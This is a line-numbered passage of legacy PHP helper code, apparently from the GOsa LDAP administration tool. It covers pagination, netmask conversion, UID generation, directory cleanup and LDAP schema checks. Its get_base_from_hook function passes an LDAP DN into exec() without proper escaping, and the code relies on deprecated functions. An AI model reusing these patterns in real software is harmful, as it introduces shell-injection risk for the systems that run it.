1194   $data = get_list('(objectClass=gotoPrinter)',"printer",$config->current['BASE'], array('cn'));
1195   foreach($data as $attrs ){
1196     $res[$attrs['cn'][0]] = $attrs['cn'][0];
1197   }
1198   return $res;
1202 function sess_del ($var)
1204   /* New style */
1205   unset ($_SESSION[$var]);
1207   /* ... work around, since the first one
1208      doesn't seem to work all the time */
1209   session_unregister ($var);
1213 function show_errors($message)
1215   $complete= "";
1217   /* Assemble the message array to a plain string */
1218   foreach ($message as $error){
1219     if ($complete == ""){
1220       $complete= $error;
1221     } else {
1222       $complete= "$error<br>$complete";
1223     }
1224   }
1226   /* Fill ERROR variable with nice error dialog */
1227   print_red($complete);
1231 function show_ldap_error($message, $addon= "")
1233   if (!preg_match("/Success/i", $message)){
1234     if ($addon == ""){
1235       print_red (_("LDAP error: $message"));
1236     } else {
1237       print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
1238     }
1239     return TRUE;
1240   } else {
1241     return FALSE;
1242   }
1246 function rewrite($s)
1248   global $REWRITE;
1250   foreach ($REWRITE as $key => $val){
1251     $s= preg_replace("/$key/", "$val", $s);
1252   }
1254   return ($s);
1258 function dn2base($dn)
1260   global $config;
1262   if (get_people_ou() != ""){
1263     $dn= preg_replace('/,'.get_people_ou().'/i' , ',', $dn);
1264   }
1265   if (get_groups_ou() != ""){
1266     $dn= preg_replace('/,'.get_groups_ou().'/i' , ',', $dn);
1267   }
1268   $base= preg_replace ('/^[^,]+,/i', '', $dn);
1270   return ($base);
1275 function check_command($cmdline)
1277   $cmd= preg_replace("/ .*$/", "", $cmdline);
1279   /* Check if command exists in filesystem */
1280   if (!file_exists($cmd)){
1281     return (FALSE);
1282   }
1284   /* Check if command is executable */
1285   if (!is_executable($cmd)){
1286     return (FALSE);
1287   }
1289   return (TRUE);
1293 function print_header($image, $headline, $info= "")
1295   $display= "<div class=\"plugtop\">\n";
1296   $display.= "  <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\">&nbsp;$headline</p>\n";
1297   $display.= "</div>\n";
1299   if ($info != ""){
1300     $display.= "<div class=\"pluginfo\">\n";
1301     $display.= "$info";
1302     $display.= "</div>\n";
1303   } else {
1304     $display.= "<div style=\"height:5px;\">\n";
1305     $display.= "&nbsp;";
1306     $display.= "</div>\n";
1307   }
1308 #  if (isset($_SESSION['errors'])){
1309 #    $display.= $_SESSION['errors'];
1310 #  }
1312   return ($display);
1316 function register_global($name, $object)
1318   $_SESSION[$name]= $object;
1322 function is_global($name)
1324   return isset($_SESSION[$name]);
1328 function get_global($name)
1330   return $_SESSION[$name];
1334 function range_selector($dcnt,$start,$range=25,$post_var=false)
1337   /* Entries shown left and right from the selected entry */
1338   $max_entries= 10;
1340   /* Initialize and take care that max_entries is even */
1341   $output="";
1342   if ($max_entries & 1){
1343     $max_entries++;
1344   }
1346   if((!empty($post_var))&&(isset($_POST[$post_var]))){
1347     $range= $_POST[$post_var];
1348   }
1350   /* Prevent output to start or end out of range */
1351   if ($start < 0 ){
1352     $start= 0 ;
1353   }
1354   if ($start >= $dcnt){
1355     $start= $range * (int)(($dcnt / $range) + 0.5);
1356   }
1358   $numpages= (($dcnt / $range));
1359   if(((int)($numpages))!=($numpages)){
1360     $numpages = (int)$numpages + 1;
1361   }
1362   if ((((int)$numpages) <= 1 )&&(!$post_var)){
1363     return ("");
1364   }
1365   $ppage= (int)(($start / $range) + 0.5);
1368   /* Align selected page to +/- max_entries/2 */
1369   $begin= $ppage - $max_entries/2;
1370   $end= $ppage + $max_entries/2;
1372   /* Adjust begin/end, so that the selected value is somewhere in
1373      the middle and the size is max_entries if possible */
1374   if ($begin < 0){
1375     $end-= $begin + 1;
1376     $begin= 0;
1377   }
1378   if ($end > $numpages) {
1379     $end= $numpages;
1380   }
1381   if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1382     $begin= $end - $max_entries;
1383   }
1385   if($post_var){
1386     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1387       <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1388   }else{
1389     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1390   }
1392   /* Draw decrement */
1393   if ($start > 0 ) {
1394     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1395       (($start-$range))."\">".
1396       "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1397   }
1399   /* Draw pages */
1400   for ($i= $begin; $i < $end; $i++) {
1401     if ($ppage == $i){
1402       $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1403         validate($_GET['plug'])."&amp;start=".
1404         ($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1405     } else {
1406       $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1407         "&amp;start=".($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1408     }
1409   }
1411   /* Draw increment */
1412   if($start < ($dcnt-$range)) {
1413     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1414       (($start+($range)))."\">".
1415       "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1416   }
1418   if(($post_var)&&($numpages)){
1419     $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'>&nbsp;"._("Entries per page")."&nbsp;<select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1420     foreach(array(20,50,100,200,"all") as $num){
1421       if($num == "all"){
1422         $var = 10000;
1423       }else{
1424         $var = $num;
1425       }
1426       if($var == $range){
1427         $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1428       }else{  
1429         $output.="\n<option value='".$var."'>".$num."</option>";
1430       }
1431     }
1432     $output.=  "</select></td></tr></table></div>";
1433   }else{
1434     $output.= "</div>";
1435   }
1437   return($output);
1441 function apply_filter()
1443   $apply= "";
1445   $apply= ''.
1446     '<table summary=""  width="100%"  style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1447     '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1449   return ($apply);
1453 function back_to_main()
1455   $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1456     _("Back").'"></p><input type="hidden" name="ignore">';
1458   return ($string);
1462 function normalize_netmask($netmask)
1464   /* Check for notation of netmask */
1465   if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1466     $num= (int)($netmask);
1467     $netmask= "";
1469     for ($byte= 0; $byte<4; $byte++){
1470       $result=0;
1472       for ($i= 7; $i>=0; $i--){
1473         if ($num-- > 0){
1474           $result+= pow(2,$i);
1475         }
1476       }
1478       $netmask.= $result.".";
1479     }
1481     return (preg_replace('/\.$/', '', $netmask));
1482   }
1484   return ($netmask);
1488 function netmask_to_bits($netmask)
1490   list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1491   $res= 0;
1493   for ($n= 0; $n<4; $n++){
1494     $start= 255;
1495     $name= "nm$n";
1497     for ($i= 0; $i<8; $i++){
1498       if ($start == (int)($$name)){
1499         $res+= 8 - $i;
1500         break;
1501       }
1502       $start-= pow(2,$i);
1503     }
1504   }
1506   return ($res);
1510 function recurse($rule, $variables)
1512   $result= array();
1514   if (!count($variables)){
1515     return array($rule);
1516   }
1518   reset($variables);
1519   $key= key($variables);
1520   $val= current($variables);
1521   unset ($variables[$key]);
1523   foreach($val as $possibility){
1524     $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1525     $result= array_merge($result, recurse($nrule, $variables));
1526   }
1528   return ($result);
1532 function expand_id($rule, $attributes)
1534   /* Check for id rule */
1535   if(preg_match('/^id(:|#)\d+$/',$rule)){
1536     return (array("\{$rule}"));
1537   }
1539   /* Check for clean attribute */
1540   if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1541     $rule= preg_replace('/^%/', '', $rule);
1542     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1543     return (array($val));
1544   }
1546   /* Check for attribute with parameters */
1547   if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1548     $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1549     $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1550     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1551     $start= preg_replace ('/-.*$/', '', $param);
1552     $stop = preg_replace ('/^[^-]+-/', '', $param);
1554     /* Assemble results */
1555     $result= array();
1556     for ($i= $start; $i<= $stop; $i++){
1557       $result[]= substr($val, 0, $i);
1558     }
1559     return ($result);
1560   }
1562   echo "Error in idgen string: don't know how to handle rule $rule.\n";
1563   return (array($rule));
1567 function gen_uids($rule, $attributes)
1569   global $config;
1571   /* Search for keys and fill the variables array with all 
1572      possible values for that key. */
1573   $part= "";
1574   $trigger= false;
1575   $stripped= "";
1576   $variables= array();
1578   for ($pos= 0; $pos < strlen($rule); $pos++){
1580     if ($rule[$pos] == "{" ){
1581       $trigger= true;
1582       $part= "";
1583       continue;
1584     }
1586     if ($rule[$pos] == "}" ){
1587       $variables[$pos]= expand_id($part, $attributes);
1588       $stripped.= "{".$pos."}";
1589       $trigger= false;
1590       continue;
1591     }
1593     if ($trigger){
1594       $part.= $rule[$pos];
1595     } else {
1596       $stripped.= $rule[$pos];
1597     }
1598   }
1600   /* Recurse through all possible combinations */
1601   $proposed= recurse($stripped, $variables);
1603   /* Get list of used ID's */
1604   $used= array();
1605   $ldap= $config->get_ldap_link();
1606   $ldap->cd($config->current['BASE']);
1607   $ldap->search('(uid=*)');
1609   while($attrs= $ldap->fetch()){
1610     $used[]= $attrs['uid'][0];
1611   }
1613   /* Remove used uids and watch out for id tags */
1614   $ret= array();
1615   foreach($proposed as $uid){
1617     /* Check for id tag and modify uid if needed */
1618     if(preg_match('/\{id:\d+}/',$uid)){
1619       $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1621       for ($i= 0; $i < pow(10,$size); $i++){
1622         $number= sprintf("%0".$size."d", $i);
1623         $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1624         if (!in_array($res, $used)){
1625           $uid= $res;
1626           break;
1627         }
1628       }
1629     }
1631   if(preg_match('/\{id#\d+}/',$uid)){
1632     $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1634     while (true){
1635       mt_srand((double) microtime()*1000000);
1636       $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1637       $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1638       if (!in_array($res, $used)){
1639         $uid= $res;
1640         break;
1641       }
1642     }
1643   }
1645 /* Don't assign used ones */
1646 if (!in_array($uid, $used)){
1647   $ret[]= $uid;
1651 return(array_unique($ret));
1655 function array_search_r($needle, $key, $haystack){
1657   foreach($haystack as $index => $value){
1658     $match= 0;
1660     if (is_array($value)){
1661       $match= array_search_r($needle, $key, $value);
1662     }
1664     if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1665       $match=1;
1666     }
1668     if ($match){
1669       return 1;
1670     }
1671   }
1673   return 0;
1674
1677 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1678    Need to convert... */
1679 function to_byte($value) {
1680   $value= strtolower(trim($value));
1682   if(!is_numeric(substr($value, -1))) {
1684     switch(substr($value, -1)) {
1685       case 'g':
1686         $mult= 1073741824;
1687         break;
1688       case 'm':
1689         $mult= 1048576;
1690         break;
1691       case 'k':
1692         $mult= 1024;
1693         break;
1694     }
1696     return ($mult * (int)substr($value, 0, -1));
1697   } else {
1698     return $value;
1699   }
1703 function in_array_ics($value, $items)
1705   if (!is_array($items)){
1706     return (FALSE);
1707   }
1709   foreach ($items as $item){
1710     if (strtolower($item) == strtolower($value)) {
1711       return (TRUE);
1712     }
1713   }
1715   return (FALSE);
1716
1719 function generate_alphabet($count= 10)
1721   $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1722   $alphabet= "";
1723   $c= 0;
1725   /* Fill cells with charaters */
1726   for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1727     if ($c == 0){
1728       $alphabet.= "<tr>";
1729     }
1731     $ch = mb_substr($characters, $i, 1, "UTF8");
1732     $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1733       validate($_GET['plug'])."&amp;search=".$ch."\">&nbsp;".$ch."&nbsp;</a></td>";
1735     if ($c++ == $count){
1736       $alphabet.= "</tr>";
1737       $c= 0;
1738     }
1739   }
1741   /* Fill remaining cells */
1742   while ($c++ <= $count){
1743     $alphabet.= "<td>&nbsp;</td>";
1744   }
1746   return ($alphabet);
1750 function validate($string)
1752   return (strip_tags(preg_replace('/\0/', '', $string)));
1755 function get_gosa_version()
1757   global $svn_revision, $svn_path;
1759   /* Extract informations */
1760   $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1762   /* Release or development? */
1763   if (preg_match('%/gosa/trunk/%', $svn_path)){
1764     return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1765   } else {
1766     $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1767     return (sprintf(_("GOsa $release"), $revision));
1768   }
1772 function rmdirRecursive($path, $followLinks=false) {
1773   $dir= opendir($path);
1774   while($entry= readdir($dir)) {
1775     if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1776       unlink($path."/".$entry);
1777     } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1778       rmdirRecursive($path."/".$entry);
1779     }
1780   }
1781   closedir($dir);
1782   return rmdir($path);
1785 function scan_directory($path,$sort_desc=false)
1787   $ret = false;
1789   /* is this a dir ? */
1790   if(is_dir($path)) {
1792     /* is this path a readable one */
1793     if(is_readable($path)){
1795       /* Get contents and write it into an array */   
1796       $ret = array();    
1798       $dir = opendir($path);
1800       /* Is this a correct result ?*/
1801       if($dir){
1802         while($fp = readdir($dir))
1803           $ret[]= $fp;
1804       }
1805     }
1806   }
1807   /* Sort array ascending , like scandir */
1808   sort($ret);
1810   /* Sort descending if parameter is sort_desc is set */
1811   if($sort_desc) {
1812     $ret = array_reverse($ret);
1813   }
1815   return($ret);
1818 function clean_smarty_compile_dir($directory)
1820   global $svn_revision;
1822   if(is_dir($directory) && is_readable($directory)) {
1823     // Set revision filename to REVISION
1824     $revision_file= $directory."/REVISION";
1826     /* Is there a stamp containing the current revision? */
1827     if(!file_exists($revision_file)) {
1828       // create revision file
1829       create_revision($revision_file, $svn_revision);
1830     } else {
1831 # check for "$config->...['CONFIG']/revision" and the
1832 # contents should match the revision number
1833       if(!compare_revision($revision_file, $svn_revision)){
1834         // If revision differs, clean compile directory
1835         foreach(scan_directory($directory) as $file) {
1836           if(($file==".")||($file=="..")) continue;
1837           if( is_file($directory."/".$file) &&
1838               is_writable($directory."/".$file)) {
1839             // delete file
1840             if(!unlink($directory."/".$file)) {
1841               print_red("File ".$directory."/".$file." could not be deleted.");
1842               // This should never be reached
1843             }
1844           } elseif(is_dir($directory."/".$file) &&
1845               is_writable($directory."/".$file)) {
1846             // Just recursively delete it
1847             rmdirRecursive($directory."/".$file);
1848           }
1849         }
1850         // We should now create a fresh revision file
1851         clean_smarty_compile_dir($directory);
1852       } else {
1853         // Revision matches, nothing to do
1854       }
1855     }
1856   } else {
1857     // Smarty compile dir is not accessible
1858     // (Smarty will warn about this)
1859   }
1862 function create_revision($revision_file, $revision)
1864   $result= false;
1866   if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1867     if($fh= fopen($revision_file, "w")) {
1868       if(fwrite($fh, $revision)) {
1869         $result= true;
1870       }
1871     }
1872     fclose($fh);
1873   } else {
1874     print_red("Can not write to revision file");
1875   }
1877   return $result;
1880 function compare_revision($revision_file, $revision)
1882   // false means revision differs
1883   $result= false;
1885   if(file_exists($revision_file) && is_readable($revision_file)) {
1886     // Open file
1887     if($fh= fopen($revision_file, "r")) {
1888       // Compare File contents with current revision
1889       if($revision == fread($fh, filesize($revision_file))) {
1890         $result= true;
1891       }
1892     } else {
1893       print_red("Can not open revision file");
1894     }
1895     // Close file
1896     fclose($fh);
1897   }
1899   return $result;
1902 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
1904   $str = ""; // Our return value will be saved in this var
1906   $color  = dechex($percentage+150);
1907   $color2 = dechex(150 - $percentage);
1908   $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
1910   $progress = (int)(($percentage /100)*$width);
1912   /* Abort printing out percentage, if divs are to small */
1915   /* If theres a better solution for this, use it... */
1916   $str = "
1917     <div style=\" width:".($width)."px; 
1918     height:".($height)."px;
1919   background-color:#000000;
1920 padding:1px;\">
1922           <div style=\" width:".($width)."px;
1923         background-color:#$bgcolor;
1924 height:".($height)."px;\">
1926          <div style=\" width:".$progress."px;
1927 height:".$height."px;
1928        background-color:#".$color2.$color2.$color."; \">";
1931        if(($height >10)&&($showvalue)){
1932          $str.=                 "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
1933            <b>".$percentage."%</b>
1934            </font>";
1935        }
1937        $str.= "</div></div></div>";
1939        return($str);
1943 function array_key_ics($ikey, $items)
1945   /* Gather keys, make them lowercase */
1946   $tmp= array();
1947   foreach ($items as $key => $value){
1948     $tmp[strtolower($key)]= $key;
1949   }
1951   if (isset($tmp[strtolower($ikey)])){
1952     return($tmp[strtolower($ikey)]);
1953   }
1955   return ("");
1959 function search_config($arr, $name, $return)
1961   if (is_array($arr)){
1962     foreach ($arr as $a){
1963       if (isset($a['CLASS']) &&
1964           strtolower($a['CLASS']) == strtolower($name)){
1966         if (isset($a[$return])){
1967           return ($a[$return]);
1968         } else {
1969           return ("");
1970         }
1971       } else {
1972         $res= search_config ($a, $name, $return);
1973         if ($res != ""){
1974           return $res;
1975         }
1976       }
1977     }
1978   }
1979   return ("");
1983 function array_differs($src, $dst)
1985   /* If the count is differing, the arrays differ */
1986   if (count ($src) != count ($dst)){
1987     return (TRUE);
1988   }
1990   /* So the count is the same - lets check the contents */
1991   $differs= FALSE;
1992   foreach($src as $value){
1993     if (!in_array($value, $dst)){
1994       $differs= TRUE;
1995     }
1996   }
1998   return ($differs);
2002 function saveFilter($a_filter, $values)
2004   if (isset($_POST['regexit'])){
2005     $a_filter["regex"]= $_POST['regexit'];
2007     foreach($values as $type){
2008       if (isset($_POST[$type])) {
2009         $a_filter[$type]= "checked";
2010       } else {
2011         $a_filter[$type]= "";
2012       }
2013     }
2014   }
2016   /* React on alphabet links if needed */
2017   if (isset($_GET['search'])){
2018     $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
2019     if ($s == "**"){
2020       $s= "*";
2021     }
2022     $a_filter['regex']= $s;
2023   }
2025   return ($a_filter);
2029 /* Escape all preg_* relevant characters */
2030 function normalizePreg($input)
2032   return (addcslashes($input, '[]()|/.*+-'));
2036 /* Escape all LDAP filter relevant characters */
2037 function normalizeLdap($input)
2039   return (addcslashes($input, '()|'));
2043 /* Resturns the difference between to microtime() results in float  */
2044 function get_MicroTimeDiff($start , $stop)
2046   $a = split("\ ",$start);
2047   $b = split("\ ",$stop);
2049   $secs = $b[1] - $a[1];
2050   $msecs= $b[0] - $a[0]; 
2052   $ret = (float) ($secs+ $msecs);
2053   return($ret);
2057 /* Check if the given department name is valid */
2058 function is_department_name_reserved($name,$base)
2060   $reservedName = array("systems","apps","incomming","internal","accounts","fax","addressbook",
2061                           preg_replace("/ou=(.*),/","\\1",get_people_ou()),
2062                           preg_replace("/ou=(.*),/","\\1",get_groups_ou()));
2063   $follwedNames['/ou=fai,ou=configs,ou=systems,/'] = array("fai","hooks","templates","scripts","disk","packages","variables","profiles");
2065   /* Check if name is one of the reserved names */
2066   if(in_array_ics($name,$reservedName)) {
2067     return(true);
2068   }
2070   /* Check all follow combinations if name is in array && parent base == array_key, return false*/
2071   foreach($follwedNames as $key => $names){
2072     if((in_array_ics($name,$names)) && (preg_match($key,$base))){
2073       return(true);
2074     }
2075   }
2076   return(false);
2080 function get_base_dir()
2082   global $BASE_DIR;
2084   return $BASE_DIR;
2088 function obj_is_readable($dn, $object, $attribute)
2090   global $ui;
2092   return preg_match('/r/', $ui->get_permissions($dn, $object, $attribute));
2096 function obj_is_writable($dn, $object, $attribute)
2098   global $ui;
2100   return preg_match('/w/', $ui->get_permissions($dn, $object, $attribute));
2104 function gosa_ldap_explode_dn($dn,$config = NULL,$verify_in_ldap=false)
2106   /* Initialize variables */
2107   $ret  = array("count" => 0);  // Set count to 0
2108   $next = true;                 // if false, then skip next loops and return
2109   $cnt  = 0;                    // Current number of loops
2110   $max  = 100;                  // Just for security, prevent looops
2111   $ldap = NULL;                 // To check if created result a valid
2112   $keep = "";                   // save last failed parse string
2114   /* Check each parsed dn in ldap ? */
2115   if($config!=NULL && $verify_in_ldap){
2116     $ldap = $config->get_ldap_link();
2117   }
2119   /* Lets start */
2120   $called = false;
2121   while(preg_match("/,/",$dn) && $next &&  $cnt < $max){
2123     $cnt ++;
2124     if(!preg_match("/,/",$dn)){
2125       $next = false;
2126     }
2127     $object = preg_replace("/[,].*$/","",$dn);
2128     $dn     = preg_replace("/^[^,]+,/","",$dn);
2130     $called = true;
2132     /* Check if current dn is valid */
2133     if($ldap!=NULL){
2134       $ldap->cd($dn);
2135       $ldap->cat($dn,array("dn"));
2136       if($ldap->count()){
2137         $ret[]  = $keep.$object;
2138         $keep   = "";
2139       }else{
2140         $keep  .= $object.",";
2141       }
2142     }else{
2143       $ret[]  = $keep.$object;
2144       $keep   = "";
2145     }
2146   }
2148   /* No dn was posted */
2149   if($cnt == 0 && !empty($dn)){
2150     $ret[] = $dn;
2151   }
2153   /* Append the rest */
2154   $test = $keep.$dn;
2155   if($called && !empty($test)){
2156     $ret[] = $keep.$dn;
2157   }
2158   $ret['count'] = count($ret) - 1;
2160   return($ret);
2163 function is_php4()
2165   if (isset($_SESSION['PHP4COMPATIBLE'])){
2166     return true;
2167   }
2168   return (preg_match('/^4/', phpversion()));
2171 /* Add "str_split" if this function is missing.
2172  * This function is only available in PHP5
2173  */
2174   if(!function_exists("str_split")){
2175     function str_split($str,$length =1)
2176     {
2177       if($length < 1 ) $length =1;
2179       $ret = array();
2180       for($i = 0 ; $i < strlen($str); $i = $i +$length){
2181         $ret[] = substr($str,$i ,$length);
2182       }
2183       return($ret);
2184     }
2185   }
2188 function get_base_from_hook($dn, $attrib)
2190   global $config;
2192   if (isset($config->current['BASE_HOOK'])){
2193     
2194     /* Call hook script - if present */
2195     $command= $config->current['BASE_HOOK'];
2197     if ($command != ""){
2198       $command.= " '$dn' $attrib";
2199       if (check_command($command)){
2200         @DEBUG (DEBUG_SHELL, __LINE__, __FUNCTION__, __FILE__, $command, "Execute");
2201         exec($command, $output);
2202         if (preg_match("/^[0-9]+$/", $output[0])){
2203           return ($output[0]);
2204         } else {
2205           print_red(_("Warning - base_hook is not available. Using default base."));
2206           return ($config->current['UIDBASE']);
2207         }
2208       } else {
2209         print_red(_("Warning - base_hook is not available. Using default base."));
2210         return ($config->current['UIDBASE']);
2211       }
2213     } else {
2215       print_red(_("Warning - no base_hook defined. Using default base."));
2216       return ($config->current['UIDBASE']);
2218     }
2219   }
2222 /* Schema validation functions */
2224 function check_schema_version($class, $version)
2226   return preg_match("/\(v$version\)/", $class['DESC']);
2229 function check_schema($cfg,$rfc2307bis = FALSE)
2231   $messages= array();
2233   /* Get objectclasses */
2234   $ldap = new LDAP($cfg['admin'],$cfg['password'],$cfg['connection'] ,FALSE,$cfg['tls']);
2235   $objectclasses = $ldap->get_objectclasses();
2236   if(count($objectclasses) == 0){
2237     print_red(_("Can't get schema information from server. No schema check possible!"));
2238   }
2240   /* This is the default block used for each entry.
2241    *  to avoid unset indexes.
2242    */
2243   $def_check = array("REQUIRED_VERSION" => "0",
2244       "SCHEMA_FILES"     => array(),
2245       "CLASSES_REQUIRED" => array(),
2246       "STATUS"           => FALSE,
2247       "IS_MUST_HAVE"     => FALSE,
2248       "MSG"              => "",
2249       "INFO"             => "");#_("There is currently no information specified for this schema extension."));
2251   /* The gosa base schema */
2252   $checks['gosaObject'] = $def_check;
2253   $checks['gosaObject']['REQUIRED_VERSION'] = "2.4";
2254   $checks['gosaObject']['SCHEMA_FILES']     = array("gosa+samba3.schema","gosa.schema");
2255   $checks['gosaObject']['CLASSES_REQUIRED'] = array("gosaObject");
2256   $checks['gosaObject']['IS_MUST_HAVE']     = TRUE;
2258   /* GOsa Account class */
2259   $checks["gosaAccount"]["REQUIRED_VERSION"]= "2.4";
2260   $checks["gosaAccount"]["SCHEMA_FILES"]    = array("gosa+samba3.schema","gosa.schema");
2261   $checks["gosaAccount"]["CLASSES_REQUIRED"]= array("gosaAccount");
2262   $checks["gosaAccount"]["IS_MUST_HAVE"]    = TRUE;
2263   $checks["gosaAccount"]["INFO"]            = _("Used to store account specific informations.");
2265   /* GOsa lock entry, used to mark currently edited objects as 'in use' */
2266   $checks["gosaLockEntry"]["REQUIRED_VERSION"] = "2.4";
2267   $checks["gosaLockEntry"]["SCHEMA_FILES"]     = array("gosa+samba3.schema","gosa.schema");
2268   $checks["gosaLockEntry"]["CLASSES_REQUIRED"] = array("gosaLockEntry");
2269   $checks["gosaLockEntry"]["IS_MUST_HAVE"]     = TRUE;
2270   $checks["gosaLockEntry"]["INFO"]             = _("Used to lock currently edited entries to avoid multiple changes at the same time.");
2272   /* Some other checks */
2273   foreach(array(
2274         "gosaCacheEntry"        => array("version" => "2.4"),
2275         "gosaDepartment"        => array("version" => "2.4"),
2276         "goFaxAccount"          => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2277         "goFaxSBlock"           => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2278         "goFaxRBlock"           => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2279         "gosaUserTemplate"      => array("version" => "2.4", "class" => "posixAccount","file" => "nis.schema"),
2280         "gosaMailAccount"       => array("version" => "2.4", "class" => "mailAccount","file" => "gosa+samba3.schema"),
2281         "gosaProxyAccount"      => array("version" => "2.4", "class" => "proxyAccount","file" => "gosa+samba3.schema"),
2282         "gosaApplication"       => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2283         "gosaApplicationGroup"  => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2284         "GOhard"                => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2285         "gotoTerminal"          => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2286         "goServer"              => array("version" => "2.4","class" => "server","file" => "goserver.schema"),
2287         "goTerminalServer"      => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2288         "goShareServer"         => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2289         "goNtpServer"           => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2290         "goSyslogServer"        => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2291         "goLdapServer"          => array("version" => "2.4"),
2292         "goCupsServer"          => array("version" => "2.4", "class" => array("posixAccount", "terminals"),),
2293         "goImapServer"          => array("version" => "2.4", "class" => array("mailAccount", "mailgroup"),"file" => "gosa+samba3.        schema"),
2294         "goKrbServer"           => array("version" => "2.4"),
2295         "goFaxServer"           => array("version" => "2.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2296         ) as $name => $values){
2298           $checks[$name] = $def_check;
2299           if(isset($values['version'])){
2300             $checks[$name]["REQUIRED_VERSION"] = $values['version'];
2301           }
2302           if(isset($values['file'])){
2303             $checks[$name]["SCHEMA_FILES"] = array($values['file']);
2304           }
2305           $checks[$name]["CLASSES_REQUIRED"] = array($name);
2306         }
2307   foreach($checks as $name => $value){
2308     foreach($value['CLASSES_REQUIRED'] as $class){
2310       if(!isset($objectclasses[$name])){
2311         $checks[$name]['STATUS'] = FALSE;
2312         if($value['IS_MUST_HAVE']){
2313           $checks[$name]['MSG']    = sprintf(_("The required objectClass '%s' is not present in your schema setup"),$class);
2314         }else{
2315           $checks[$name]['MSG']    = sprintf(_("The optional objectClass '%s' is not present in your schema setup"),$class);
2316         }
2317       }elseif(!check_schema_version($objectclasses[$name],$value['REQUIRED_VERSION'])){
2318         $checks[$name]['STATUS'] = FALSE;
2320         if($value['IS_MUST_HAVE']){
2321           $checks[$name]['MSG'] = sprintf(_("The required objectclass '%s' does not have version %s"), $class,                           $value['REQUIRED_VERSION']);
2322         }else{
2323           $checks[$name]['MSG'] = sprintf(_("The optional objectclass '%s' does not have version %s"), $class,                           $value['REQUIRED_VERSION']);
2324         }
2325       }else{
2326         $checks[$name]['STATUS'] = TRUE;
2327         $checks[$name]['MSG'] = sprintf(_("Class(es) available"));
2328       }
2329     }
2330   }
2332   $tmp = $objectclasses;
2334   /* The gosa base schema */
2335   $checks['posixGroup'] = $def_check;
2336   $checks['posixGroup']['REQUIRED_VERSION'] = "2.4";
2337   $checks['posixGroup']['SCHEMA_FILES']     = array("gosa+samba3.schema","gosa.schema");
2338   $checks['posixGroup']['CLASSES_REQUIRED'] = array("posixGroup");
2339   $checks['posixGroup']['STATUS']           = TRUE;
2340   $checks['posixGroup']['IS_MUST_HAVE']     = TRUE;
2341   $checks['posixGroup']['MSG']              = "";
2342   $checks['posixGroup']['INFO']             = "";
2344   /* Depending on selected rfc2307bis mode, we need different schema configurations */
2345   if(isset($tmp['posixGroup'])){
